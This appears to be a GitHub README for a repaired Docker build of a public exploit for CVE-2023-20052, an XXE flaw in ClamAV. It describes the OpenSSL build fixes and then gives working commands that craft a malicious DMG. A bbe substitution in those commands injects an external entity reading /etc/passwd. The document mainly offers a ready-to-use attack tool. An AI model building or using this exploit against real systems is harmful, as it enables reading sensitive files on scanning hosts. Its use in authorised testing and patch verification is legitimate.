CVE-2023-20052 Exploit - Fixed Build

Fixed Docker build for CVE-2023-20052 (ClamAV XXE vulnerability) that actually compiles.

What Was Broken

The original exploit fails to build on modern systems:

• ❌ OpenSSL 3.0 compatibility errors
• ❌ HMAC_CTX struct incomplete type errors
• ❌ Implicit function declaration errors
• ❌ Build fails at dmg/filevault.c compilation

What I Fixed

1. Changed base image: Ubuntu 22.04 → Ubuntu 18.04
2. Fixed OpenSSL version: Uses libssl1.0-dev (OpenSSL 1.0)
3. Added non-interactive mode: Prevents build prompts
4. Working Dockerfile: Actually compiles successfully

Why This Works

libdmg-hfsplus uses deprecated OpenSSL 1.0 functions:

• HMAC_CTX_init() / HMAC_CTX_cleanup() (removed in OpenSSL 1.1+)
• Direct HMAC_CTX struct usage (opaque in OpenSSL 1.1+)

Ubuntu 18.04 is the last LTS with OpenSSL 1.0 support.

Build & Usage

# Build (takes ~3-5 minutes)
docker build -t cve-2023-20052 .

# Run
docker run -v $(pwd):/exploit -it cve-2023-20052 bash

# Create exploit DMG
genisoimage -D -V "exploit" -no-pad -r -apple -o test.img .
dmg dmg test.img test.dmg
bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>|' -e 's/blkx/&xxe;/' test.dmg -o exploit.dmg

Credits

• Original exploit: nokn0wthing/CVE-2023-20052
• Fixed by: https://reapsec.com

## Fixed Docker build for CVE-2023-20052 (ClamAV XXE) - Resolves OpenSSL 3.0 compilation errors. Uses Ubuntu 18.04 with OpenSSL 1.0 for compatibility with libdmg-hfsplus